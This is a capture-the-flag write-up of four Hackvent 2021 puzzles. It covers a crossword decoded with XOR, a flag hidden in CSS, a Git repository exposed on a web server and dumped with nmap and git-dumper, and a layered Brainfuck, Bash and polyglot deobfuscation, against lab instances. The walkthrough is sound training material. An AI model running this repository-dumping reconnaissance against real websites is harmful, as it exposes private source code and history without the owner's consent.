This year I was only able to complete 14 of the 24 days of challenges, but it was still a good time. I learned something about how web clients handle content lengths, how to obfuscate JavaScript for a golf competition, and exploited some neat crypto to sign commands for a server.

HV21.01

Challenge

HV21.01 X-w0Rd Puzzle
Categories: FUN
CRYPTO
Level: novice
Author: charon

It seems the elves have sent us a message via a newspaper crossword puzzle. Can you solve it to find out what they want to tell us?

Instructions

• Fill in the puzzle in all capital letters
• The initial letters of each word are the solution - in order the same order the questions are asked:
• horizontal words: top to bottom
• vertical words: left to right

Horizontal

1. A diagram of arrows not allowing cycles
2. A handbag for carrying around money
3. Very, very secure
4. Golf: number of strokes required
5. Congo between 1971 and 1997
6. State of appearing everywhere
7. Tuples in everyday language
8. Makes you laugh or silences you

Vertical

1. Plea by many doctors right now
2. Put in parcels
3. Lets you change user
4. …-test
5. How you should transmit your data
6. Need to squash them - fix your code!
7. Attributed to a marquis - no pain, no gain.
8. Doing something in a way that causes fatigue is doing it…
9. A drink you may need after finishing this puzzle.

Hints

• the words are in order (ltr & ttb): first hint is for the top left horizontal word
• number means number of chars in word
• check the title - do you need all the letters?
• we know how to hide gridlines
• what seems redundant really isn’t - it’s the key you seek

Solution

Matching Clues to spaces

This challenge is mostly about reading all the instructions and the hints.

There are little numbers in each starting box, but they aren’t unique. Typically those numbers would match the space to a clue, but instead they tell how many letters are in the answer.

Paying close attention then also shows that the 8-letter vertical in the middle of the puzzle doesn’t intersect with the 5-letter horizontal at the bottom in the middle.

When I first started, I assumed this all meant if I found a three letter word, it could go into any of the three letter spaces. But that’s not true. The instructions do say how clues pair to spaces:

• The initial letters of each word are the solution - in order the same order the questions are asked:
• horizontal words: top to bottom
• vertical words: left to right

So I can label the starting blocks in red:

Clues ==> Words

I was able to solve most of the clues, and the rest came once I got the flag:

Horizontal:

1. A diagram of arrows not allowing cycles ==> DAG, short for directed acyclic graph
2. A handbag for carrying around money ==> PURSE
3. Very, very secure ==> ULTRASECURE
4. Golf: number of strokes required ==> PAR
5. Congo between 1971 and 1997 ==> ZAIRE
6. State of appearing everywhere ==> UBIQUITY
7. Tuples in everyday language ==> PAIRS (though I argue this should be lists, as, at least in Python Tuples can be anywhere from 1 to n items)
8. Makes you laugh or silences you ==> GAG

Vertical

1. Plea by many doctors right now ==> VACCINATE
2. Put in parcels ==> PRESENTS
3. Lets you change user ==> SU
4. …-test ==> PEN
5. How you should transmit your data ==> SECURELY
6. Need to squash them - fix your code! ==> BUGS
7. Attributed to a marquis - no pain, no gain. ==> SADIST
8. Doing something in a way that causes fatigue is doing it… ==> WEARINGLY
9. A drink you may need after finishing this puzzle. ==> GIN

XOR

With the clues all (or mostly) solved, the result looks like:

Entering this as the flag does not solve. I spent a lot of time thinking I had wrong letters (and in fact, I did on initial attempts).

Eventually, it’s time to consider both the ⊻ symbol and the name of the challenge, “X-w0Rd Puzzle”. There’s not a lot of obvious things to XOR with. Some ideas:

• Single byte XOR across all of them.
• XOR each with the number in the starting box (the length) as a number.
• XOR each with the number in the starting box (the length) as a character.

It was the last one that worked.

>>> letters = "DPUPZUPGVPSPSBSWG"
>>> numbers = "35935853982384693"
>>> ''.join([chr(ord(l)^ord(n)) for l,n in zip(letters, numbers)])
'welcometohackvent'


Flag: HV{welcometohackvent}

HV21.02

Challenge

HV21.02 No source, No luck!
Categories: FUN
WEB_SECURITY
Level: easy
Author: explo1t

Now they’re just trolling you, aren’t they? They said there would be a flag, but now they’re not even talking to us for real, just shoving us along 😤 No manners, they got!

There’s also a button to spin up an individual copy of a website. Visiting the URL in a browser just redirects to a YouTube RickRoll.

Solution

I’ll use curl to see what’s going on, using -I to get just the headers with a HEAD request. First, trying to visit the site on HTTP (which is what curl assumes by default if no protocol is given) results in a redirect to the same site on HTTPS:

oxdf@jawad:~$curl -I b43fa174-0d5d-4f43-ba83-2418fdffc687.idocker.vuln.land HTTP/1.1 307 Temporary Redirect Location: https://b43fa174-0d5d-4f43-ba83-2418fdffc687.idocker.vuln.land:443/ Date: Fri, 03 Dec 2021 15:34:05 GMT Content-Length: 18 Content-Type: text/plain; charset=utf-8  Visiting on HTTPS returns another redirect, this time to YouTube: $ curl -I https://b43fa174-0d5d-4f43-ba83-2418fdffc687.idocker.vuln.land
HTTP/2 200
content-type: text/html; charset=utf-8
date: Fri, 03 Dec 2021 15:35:47 GMT
server: Werkzeug/2.0.2 Python/3.10.0
content-length: 0


There is a link header which points to a stylesheet at style.css. A request for that returns some CSS, which has a flag in it:

curl https://b43fa174-0d5d-4f43-ba83-2418fdffc687.idocker.vuln.land/style.css html { display: flex; height:100vh; overflow: hidden; justify-content: center; align-items: center; flex-direction:column; background: #222; } body::before, body::after { font-weight: bold; font-family: 'SF Mono', 'Courier New', Courier, monospace; font-size: 42px; color: #ff4473; } head { display: block; background-image: url(https://media.giphy.com/media/Ju7l5y9osyymQ/giphy.gif); height:20rem; width:20rem; background-repeat: no-repeat; background-size: cover; border: 5px solid #fff; border-radius: 10px; border-style: dashed; } body::before { display: inline-block; padding-top: 3rem; content: "Never gonna give you up..."; } body::after { margin-left: 16px; display: inline; content: "HV21{h1dd3n_1n_css}"; ...[snip]...  Flag: HV21{h1dd3n_1n_css} HV21.03 Challenge HV21.03 Too Much GlItTer! Categories: WEB_SECURITY Level: easy Author: HaCk0 To celebrate Christmas even more the elves have setup a small website to help promote christmas on the internet. It is currently under heavy development but they wanted to show it off anyhow. Unfortunately they made a pretty silly error which threatens the future of their project. Can you help them find the vulnerability and retrieve the flag? The challenge has a personalized instance of a site I can start, and this time it’s actually got a page: Solution Enumeration The title of the challenge made it very clear what the next step was, but without noticing that, nmap with default scripts would also show it:  nmap -p 443 -sCV 690cfdde-fdd5-44c5-b632-725d4a8d790e.idocker.vuln.land
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-03 10:45 EST
Nmap scan report for 690cfdde-fdd5-44c5-b632-725d4a8d790e.idocker.vuln.land (152.96.7.3)
Host is up (0.10s latency).

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-git:
|   152.96.7.3:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Adds flag placeholder
|_http-title: Merry Xmas | Home
| ssl-cert: Subject: commonName=*.idocker.vuln.land
| Subject Alternative Name: DNS:*.idocker.vuln.land, DNS:idocker.vuln.land
| Not valid before: 2021-09-06T00:00:00
|_Not valid after:  2022-09-06T23:59:59

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.12 seconds


There’s a Git repo hosted on the site.

Get Git

The Git repo will likely have not only copies of the current site, but history and other additional work as well. There’s a few ways to get this data. A tool like git-dumper will do it for me. It will get the known files in the .git folder and use them to reconstruct what other files to pull.

$git-dumper https://abac9fc9-63f2-4049-9354-2d85ef655077.idocker.vuln.land . [-] Testing https://abac9fc9-63f2-4049-9354-2d85ef655077.idocker.vuln.land/.git/HEAD [200] [-] Testing https://abac9fc9-63f2-4049-9354-2d85ef655077.idocker.vuln.land/.git/ [200] [-] Fetching .git recursively [-] Fetching https://abac9fc9-63f2-4049-9354-2d85ef655077.idocker.vuln.land/.gitignore [404] [-] https://abac9fc9-63f2-4049-9354-2d85ef655077.idocker.vuln.land/.gitignore responded with status code 404 [-] Fetching https://abac9fc9-63f2-4049-9354-2d85ef655077.idocker.vuln.land/.git/ [200] [-] Fetching https://abac9fc9-63f2-4049-9354-2d85ef655077.idocker.vuln.land/.git/index [200] ...[snip]... [-] Running git checkout . Updated 57 paths from the index  That last step, running checkout will restore the most recent files: $ ls
about.html  contacts.html  css  flag.html  images  index.html  js  links.html  sitemap.html


Enumerate Git

There’s a few things to look at now that I have the source for the site. The current pages all seem pretty much what I saw. There’s not a flag hidden in and PHP executed server side or anything like that. I can also look for vulnerabilities that I might exploit to get access to the filesystem or even execution, but nothing jumps out here.

git status shows I’m on the master branch, and that the files are the same as the most recent commit:

$git status On branch master nothing to commit, working tree clean  git log will show a history of commits: $ git log
commit 0bd2f175eb525057f6f306d7b420e24807beb9f2 (HEAD -> master)
Author: Mathias Scherer <scherer.mat@gmail.com>
Date:   Wed Dec 1 16:29:24 2021 +0100

commit 9189c31b7f1c3f2e40133851ba3b6c39ffb704bd
Author: Mathias Scherer <scherer.mat@gmail.com>
Date:   Wed Dec 1 16:27:07 2021 +0100

Initial commit


To see what’s different, I’ll run git diff:

$git diff --name-only 9189c31b7f1c3f2e40133851ba3b6c39ffb704bd flag.html  The only thing that’s changed it flag.html. git diff without the --name-only flag will show the full difference in the file: $ git diff 9189c31b7f1c3f2e40133851ba3b6c39ffb704bd
diff --git a/flag.html b/flag.html
new file mode 100644
index 0000000..633a7df
--- /dev/null
+++ b/flag.html
@@ -0,0 +1,90 @@
+<!DOCTYPE html>
+<html lang="en">
+<title>Merry Xmas | Contacts</title>
+<meta charset="utf-8">
...[snip]...


At the top, it’s clear that it’s comparing flag.html to /dev/null, which means this file didn’t exist in the previous commit. So no flag there.

git branch will show the branches in the repo:

oxdf@parrot$git branch feature/flag * master  Branches are used when a developer wants to make some specific changes, and then merged back into the main branch once they are complete. This workflow allows for different developers to work on different parts of the repo at the same time. So seeing feature/flag as a branch is definitely interesting, likely an unreleased page. I’ll check out that branch: oxdf@parrot$ git checkout feature/flag
Switched to branch 'feature/flag'


I can look at the source for flag.html, but I can also visualize it by running firefox flag.html:

Flag: HV{n3V3r_Sh0w_Y0uR_.git}

HV21.04

Challenge

HV21.04 Christmas in Babylon
Categories: FUN
PROGRAMMING
Level: easy
Author: 2d3

Something weird happened to the elves, suddenly when one says something, there’s a number of the others required to translate what they mean. It only becomes clear in the end.

Can you help Santa understand what they’re saying?

There’s a link to this file.

Solution

C#

The code looks like this:

using System;using System.Text;using static System.Console;void Rev(string s){var chars=Encoding.
ASCII.GetString(Convert.FromBase64String(s)).ToCharArray();Array.Reverse(chars);WriteLine(new string
(chars));}
Rev("KzgrKitoKysrKysreysrKysraSsvPiswK3krKz4oKysrKysrICsrPlQrKysrKysrKyt9KysrPlsrVCsrK3grKysr");
...[snip]...
Rev("Kz4ueisrPi4+Ri42Kys+Lis+LisrK3QrPm4uKyt7Pi4+LisrPi4rK3QrKz4pLnY+NS4rUCtTK2YrMD5TLj4uK0wr");
Rev("XTxdLVtbay4gK2MrPi4rKz4jLisrPi4rKyt8");


Without knowing the code is C#, it’s pretty clear that the Rev function takes a string, base64-decodes it, reverses it, and then prints it.

I solved it using bash commands to get the base64 strings and decode:

oxdf@parrot$cat code.txt | grep "^Rev" | cut -d'"' -f2 | while read line; do echo$line | base64 -d | rev; done > code.bf


This will get the lines that call Rev(), get just the text in the "", and then for each line decode it, reverse it, and print it.

brainfuck

The output is a jumbled mess:

|+++.>++.#>++.>+c+ .k[[-]<]+L+.>.S>0+f+S+P+.5>v.)>++t++.>++.>.>{++.n>+t+++.>+.>++6.F>.>++z.>+{.k>---.>++++.>.w>---. >o---.>.>++.G>+7++.>d-.>--n.{>--.>i-.P>-E.>-H-.>---.>.|>+ +K.>--.>+++.>++ +a+.4>.>---.F>++x.>.f>+J+++.>|.>+++i<<<<H<-]>+++.d>Q-.>++++.>T---.>.>++r+D+.8>.4>-.>++ .>-T-}-.>.>.>-8+<<I<<<<<t<*<<<W<<< < <<<<<1<<<<<p<<P<8<<<<<<x<<<D<<X<<<<<<<<<<<<+++>++1++F+++++++4+x> ++++>S++X++>++++>++++>+p+++++++++k++>+K+++}>+++++++++> ++++ >)++++++U++++++++2>)+++0++q+++++++++|>++++>++&++>++++>+p++*++++ ++ +++>++++++>+h++++2+>g++++P+d+>G++++>+m+++>++++z++++++y>++++>++f++++Y>U+++++++Q++>++++>+3+Q+ +>+++0++ +++++++++>+++2+++++R+++++d+>++(++>+8+++J++++K++ ++++}>+++r+g+++++++++N>+++*++++++++|++M+++M++G++ ++>L+++G+++ ++>C+k++++++#+r++++>+++5+>+++Q+> ++++>O++++++>++++x+A++++*>++++>++++>+J++++X++++3+++&>++P+r+++x+++++ >+M++++I+++>++++++++++++++>++&+++++I+++)+|++>++++++7+d+++++4++>++S+++++++++> ++++i++++++++L+>+++K+>/+0+++++ +++@++++Z+u+)>+m+++>++++++.>++.[[-]<h]7+x+++++++@[>++++N+++@++S+++J>++Z++ +9+++++++++>++++ +>++M.>++.>++.[[-K]<]M+++++++W+[>+*+++G+++++++++L+|+c+>+K<<-]> -h--{<<<<<<<<<<< <t<<-]>.>(.>---.>+L+ +.U>9.>-.>@.C>++.>.y>+++.>--.>+.>3++/+w+++++>+++++>++x++ +++m+++}+++++K+>+Z++++>m+++b+++i>++++>+}<+Y++++b+++9++r> ++U+++++++p++++>+m+c+++u+ +++a+Y+a+h++3>++++>+S+++>+G+.>3+4+.F[[-8]8<b]+++++X+++[>+++8+>+++z+>+{+++++++y++a+#++ >+T+-.>--. >--.7>+.>6.>.>.>f+.9>++++.>{--.>+++.>--8.>+.>--.>++++.>g++.<H<<<0<8<<<k<<s<<I<o-]>.>.>-9--. >+++.>q.>-. >e.O>++.>-w-.P>-Q-.>-++++++++j+++>+++Q++>+r+p+++X+t+C++E++K+++>4+++X+>+k<<<<<<<<<<<<<<<@+v+++++++++>+t++++++++++B+++>H++++o++++ +++++b+++3>+w++6++>+++3++H++++e++>++++5+++++x>W++++++G++++g++ +++>+q+++E++t+8+++++>+q+5++++++F>+&++6++++x+K+M+W++++p+ +>++++@+++v++++++++>++ +C+++>++++B+++++++>+++++|++++&+w+++++2+>+b++H++}+++d++Q+r+s+++V+>Q+++U+++++++++++e++s+ ++ +++>I+++++z++++3+C+++>++++{+++++++t+++>r++w++>+ +e++>k+Z+++.2>++.[[-V]<]m+++++B+++ [ >+I++5+>+7+(++>++/++++++e+c++v++>+o+6+++.>C++++.>J++F+.>+&.>+.>++++.>.t>--.9> +h+0++.>--p-.P>F- -.>--.d>+.>6---.>+++.B>A.>-.>.W>++.>}-.>9+B.>0++++r.Q>.>--C.a>++&+.>2---.o>++h>++U++(++++>q+U+++>#+m<<U<<<<<|<<<<<<<<<<<<3<<Q<<<<<<<Q<-]>.Q>d{+++++H+>+++3++&++L++++++a+)++/>+++++w>++++j+++++H>+++++2+++++++++M++O+>+++++R++++>+++++j++++Z++|+d>&+W++++z++)++&++G+>F++{+Y+++s+++#++>+9+++1+e++++++E+s++++>+W+++f++++ +*+++ >+++++++H++{++k+>++++++++>+k+++++++k+9+++v>+N++++++H+++(+++a++5>++++x+++++++++++h+>+++++++++K++>M+++++++O+++h++T++>C+7+++>+}+I++6>K++++ ++++>++++2+Z++s++4+]<]+++++I++H+[>++++>++a++F>n+++++++++++b++>+++++++z+++++>+3+++++++.>{.>+.>---Q.>.>q.>--.G>---.>+J+g+.m>---.>--l-f.>c---.>++.>++.[ [-- -l-(.>+.>++8+*+o.>--7-.>.>- -E-.>--8-.>+./>++++.>8.>+.>---.>++++.>-U.C>.>++.>++++I.>V+n++.>D+U.>5+.>++C++.>.>Y+.>++)++.>+++.>.> .><p<Y<)<@<<<<s<<v<<Q<<<<<<<<<<<)<<<<<<<<<<f<<<o<<-]>.>.>---.>+++.G>+L++ >+++n+++*+p+++(+>++U+|+++X+++>++++q+++V++7>++++L>...[snip]...


This is Brainfuck, a language common in CTFs and nothing else. I missed it as first, because BF only requires six symbols, +, -, <, >, ., ,, [, and ]. Still, other characters are ignored (from the wikipedia page):

The language consists of eight commands, listed below. A brainfuck program is a sequence of these commands, possibly interspersed with other characters (which are ignored).

I grabbed this script from GitHub, and it created the next layer:

oxdf@parrot$python brainfuck.py code.bf > code.sh  Bash The resulting script looks like a Bash script: a="~OdlsoZ}J\pn1S=P0!uge%w5F3b2L<,t.A VNjaIfByMK^cxm(hz\"i>;4DR7{\$#Tr+HE*WY['9vXQ6)/:U_k]8GCq"
b=" vnd8Q4a}EVf.,I0eKs\o76HPyD/_bxLS'T%[1i(UCrl2J>tAW5hGq{=+\$g^Y]pX;#u)OMcB3w9jZ:*!N\"<Rkz~mF" code() { echo "|+adYMHl0~_uxlae1zc" echo "?+adYMHl0~_uxladx1zc" echo "&+l0nad0~x0ux" echo "@+l0nad0~l}x}~Yedux~Yz}y~#Nj%\$"
...[snip]...
echo "&~~~~y0xHyd~s~)~,r"
echo "@+~)2"
}
code | grep -E "^[|@]" | sed -E "s/^.//" | tr "$a" "$b"


code() will print a bunch of stuff, which is then modified and printed. I can just run this one and get the next file:

oxdf@parrot$bash code.sh > code.py  Python / C I immediately recognized this as a C file based on the first few lines, but as I read more, it started to look like a Python file: #include <stdio.h> #define data const char p[17] #define u(x) x % 128 + 32 #define bytearray(x) {u(547),u(139),u(432),u(345),u(596),u(840),u(847),u(718),u(669),u(547),u(345),u(596),u(840),u(847),u(718),u(31),0} #define b64decode #define discard int _ #define from int main(void) { #define base64 #define import #define hashlib #define sys from base64 import b64decode import hashlib import sys data = bytearray(b64decode("Z1hwRFQNFx5RLB0RQE1CHW8LclIvNUM1YGhVVUM0QmQednxSVUNDMxYYVSk1REJkHgJ8JF0zQzMWYlVVMzJCYmgDfFAvQ0NFFWJVL0M0QhdiCnwiX0lDRhwYVS9JREIeYnB8JCk1Q0dmYlUvNTRCFBgAfCJcSUNGZh5VXzNOQmIYA3wkKUFDRRUYVS8zMkJiGHB8IlUzQ0dma1UvQDRCYh4DfFEvSUNGFWJVXEE0QmJqAHxQXEFDM2AYVSlAR0JiawJ8JFxJQ0YVGFVcQURCF2gDfFBdM0NHFhhVX0BHQhRicHJQT2JLDR1+WVM+Pit3A2AaOSEoKy1wAj4kKCQ9egtrOSAsKSggexI8PComLnQJaxw7MicuKXMXOSEoKy99BWQRLyUtJy52CTkhKCstcgJsADk/OyomfR8pND8sJWkAaxw7MjkqJn8KOTArIiR/D2gdMzQkLShkHTw8KCQ4bgZjEDI+KDoueQA0NS8/LnQQbhg5Mi89L38KOT87KiZ/CHgVIj4oIy1wAj4mKS0obgZjFDo5Ii8ifgs9NSY7I3UDZxItLTAuKXMFKDEgLSd/CGEQNTYuIC96DS0WMyUucwBmET4mKS0obAYxMCsiJH8PaBUxNiEvKn4OMzQwLilxBXoVMTYhLyV3AzU2LiAveA1/HDsxKCk3YwYxMCsiL3gRahIwNCM8K3UDMictJyp8HnQWPjouNjZ8BDcyOSomfQprGzM0JC0ocgI+OjwvO38HahI/OykoIHsMOCI5KiZ/CGEQLDQsLCN8BCk0IzwrdwN3ADkjKyQ9eAs9NwI8K3cHaB0zND0vKnwBPzspKCB5GnUVMTQjPCt1BzopNykpbwNgET4sKSggeww4IjkqJn8IYRAsNCwsI3wEKTQjPCt3A3cAOSMrJDh+AzU2LiAveA1tCSE1LyEobAYxNiEvJXUDZxI/OykoIGkDLDQsLix5DGoGKDEgLyV3Ayw0LCwjfgR7EDInLScuYRM5IyskJH8WaxQ6OSIvNnwENzI5KiZ9CmsbMzQkLShyAj46PCMsegNtHzgzOC8NcQE8NiEvKFoJaxw6IyopPHwBMDQsLDR/B2oSPzspKCB7EzkxKiYuewJpGTkxKiYueQI7PSgrL30Fcg48PCwsI3wEKzUqJi50EG4YOTEsLDR9Bzg2IS8qfBlrFDg2IS8qfAEwNCMlLmoDbxM0Pig6LnkCOzIHKy9vA2ADPDwqJi55ACM0LCw5fDJjFDo5KSg8fAE/OykoIHkTaxU7PSgrL38KOTEqJi57AmkZOTApLShyAj46Lj8uegFiED01Kik8fAEwNCwuLHYDbxM0PigjLWcDPTUqJi57AHwTND4oIy1nAz01KiYuegFiEDInLScueAc6IyopIHkMahc3MjgvK38KOTEqJi57AmkZOTArNS55AC42LiAveA1tADkxKiYueQI7PSgrL30FeRE7PSgkPXgLOTEqJi57AmkZOTEqJi55Ajs9KCQ9egtrFT03Mi8qfhk5MCktJ38GaxU5PzsqJn0GOz0oKy99CmsVOz0oKy9/Cjk/OyomfwZvEyM0LC4sdAM9NzIvKn4BYhA9NyUuKW0DMiIrLyJ9BWQRPjouPy54ATA0LC4sdgNvETsyOC8lbgYxNC0tJ38HahIwNC0tJ30HODYhLyVsBmMQPDArNS55Ajs9KCsvfQV5ETs9KCsvfwo5MCsiJH8WaxQ4Ni4LLX0dMTApITpyCWscOzIxMSt1ATA0IzwrdwNuEjA0LC4sdAM8NiEvKn4BYhAyJy0nLngHOiMqKTx+AWIQPTcyLyp8ATA0IzUtfw9oHTM0JCw5fwU3MjouLHYDbxE7PSgrLXAJOTgrOCx5EWoSPyYpLSd9Bzg2Lj0vfQprFDo5Ii8ifhQ7MiYpPH4BYhA9NSomLnkAND4oIy1oAW0ePyYpLSd9Bzg2Lj0vfQprFDg2LiAveg0/JiktJ38HahI/JiktJ30HODYuIC94DW0AOTEqJi55Ajs9KCsvfQV5ETs9KCsvfwU2NS8hKG0CaRk5MCs1LnkAND4oIy1lA28ROz0oKy1qASUsKSg8fgFiEDI5KCsvbQM8MCsfIX4EZRY2NT4+K3UDMj4oOi57AGYRPiQoJD14CzkoOC85fAhqFxsvIi8ifg44MzouLHkSbhg9NyUlLnEAPDwqJi57AGYaOSwpKCB7Ejw8KiYudAlrHDsyJy4pcxc1Ni0vKGYdbhg9NyUuKW8COz0oJD16C2sbKjEgKy1gHD8zJik3ZwJsHj8lLScsdAMyPigjLHkMahc3ICg6LnkCOzInLilxBWQRLyUtJy52CTkhKCstcgJsADk/OyomfR8pND8sJWwGYxQ6Lz4sLnEBPyUtJyp8MWsxLyUtJy52CTkhKCstcgJsADk/OyomfQU+JiktJ38IeBUiPigjLXACPiYpLShuBmMUOjkiLyJ+Cz01JjszYAVsADk/Ii87fQc4Ni4gL3gNbR84MzgvJWsAOTgrMjV1A2cTNDUvPS9/BSgxICstcglrHDoxIC0nfQc6OSIvInwOYRAhNS8hKGwGMTYhLyV1A2cSPzspKCBpDzsxKCkhfgR7ED8zOC85fxc0Pig6LnsCaQQVNCwuLHgHOjgqKT96C2kZOT8IKTh+DzsxKCkhfgRlBBw+KCMtXBU2NS89L30KaxsvNygjLHsMODMmKSF+BHsQMhQuOS1xATw0LiAveBFqEjA0IyUuaAM9NSo7AHgRahIwNCM8K2YJOTgrIi94EWoSPyUtJyp+DjM0JCwmewJlBCQ+LTAybQMuNyM5LX8PaQQULyIvIn4OODM6Lix5Em4YPTclJS5xACIiOSomfwhhECw0LCwjfAQpNCM8K3cDbRcrNSomLnYQPC8iLyJ8DmoXKzUqKT94Cz03JSUucwBjFDg6PDIxewQpNCMlLmoDbxE7MicuKXMFNjUvPy50FWgQNTc1NCR9Dzo5KSg8fgFtATw8LCwjdwM1Ny0nLHYDbxM0PigjLXAJOSwpKCB5Em4YOz0oJCR9DzsyJy4pcRdnEjw0LiAvehM5FycuKW8DYAM8PComLnkAND4oIy1iHG0XNzInLiltAzIiKy8ifQV6FTk8DCwuYws9NSY7I3UDZxM0NS8/LnYJOSEoKy1iCW4PJSQoOC12FSgxIC8ldQN+ED03JS4pbQMyJy0nLnkEeRE7PSgkJH0WOTApLTpZB2oeLQcjJTl+IhkyPiwifQZrFjY1LyEobAYxMCsiL3gRahI/ECsvMHUHODo8MjV1A2cTNDUvPS9/BSgxICstcglrHDoxIC0nfQc6OSkoPH4BYhAaOCoqLmElICwpKCB5Em4YOz0oJCR9DzsyJy4pcRdrBTkwKS0ocgIvJS0nLnQJawU5MCsiL3oTOT87KiZ/H3sQLjcjOS19DzsyOSomfQprFDo5Ii8ifg4zNCQtKGYdbhg5Pz4+K3UDMj4oOi57AGYRPiQoJD14CzkyLz0vfQprGyoxIC8lbgYiPigjLXICbAI4Ni4+K3UHOjkiLyJ8C28RNyAlJS5xAS0RKSEyXQluDyUkKDgtdhA8PCgkJH8PaRYoMSAtJ30IGTI+LCJ9BmsWICwpKCB7Ejw8KiYudAlrHDsyJy4pcxc5ISgrL30FehUxNiEvKn4oKTQ/LAl4E2s3IDQJJS5xADQ+KDcveA1tATw8KiYudgk5OCopIX4EZQQ1Ni0vKGQdPDwsLCN1A2cTJC8iLyJ+DjgzOi4seRJuGD03JSUucQA8PComLnsAZho5LCkoIHsSPDwqJi50CWscOzInLilzFzU2LS8obgZjEjA0IzwrZgk5OCsiL3gRahI/JS0nKn4OMzQkLCZ7AmUEND4oIyxpJT01Oi4saytDd0J+TANOAGMKABoDC1FrDzNQT2JLHB1+WVZKVGRZLFlwUVABT1Mdc0JUTAZOA2MPPEJUQ0RKVGpZD2JPTh9jDyJZSUhLHB1tWVAbNAFNJwN0Gi9MBjMUY1RUXlszBElWWl0YSFJOTjcLGA0BRhsxAmtzEgcdThVnEFRVT14EYw85WUhISwIGY10dSERTH3sbeVkPYk9OHWMcFwAATkw2SSMNBkBLHBFjXR1ET1YPagt+WVY0AUwGSQQ=")); discard = 1 // 3; """ ; printf("%s", p); return 0; } /* """ pwd = input().encode("utf-8") if hashlib.sha256(pwd).hexdigest() != "2cbdd00836863dbf7a24c10c67c3d9b7da272a6e2d0532689aebd2598fb7d53a" : sys.exit(1) for i in range(len(data)) : data[i] ^= pwd[i % len(pwd)] print(bytes(data).decode("utf-8")) # */  It’s actually a polyglot, or a file that’s valid for multiple different languages or formats. Looking at it as Python, I can ignore the lines that start with #, and it is going to prompt for a password, take a sha256 hash of that password, and compare it against a hardcoded value. If that works, it will then xor the data by the password and print it. The code code #include <stdio.h> #define data const char p[17] #define u(x) x % 128 + 32 #define bytearray(x) {u(547),u(139),u(432),u(345),u(596),u(840),u(847),u(718),u(669),u(547),u(345),u(596),u(840),u(847),u(718),u(31),0} #define b64decode #define discard int _ #define from int main(void) { #define base64 #define import #define hashlib #define sys from base64 import b64decode import hashlib import sys data = bytearray(b64decode("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